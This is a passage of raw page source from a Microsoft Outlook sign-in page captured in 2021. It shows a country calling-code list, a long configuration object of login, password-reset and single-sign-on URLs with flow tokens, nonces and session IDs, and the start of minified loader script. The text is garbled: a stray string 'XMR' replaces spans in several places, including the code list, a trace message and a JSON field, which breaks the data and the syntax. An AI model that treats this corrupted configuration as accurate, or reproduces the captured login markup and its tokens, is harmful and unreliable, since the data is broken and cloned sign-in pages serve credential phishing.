Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
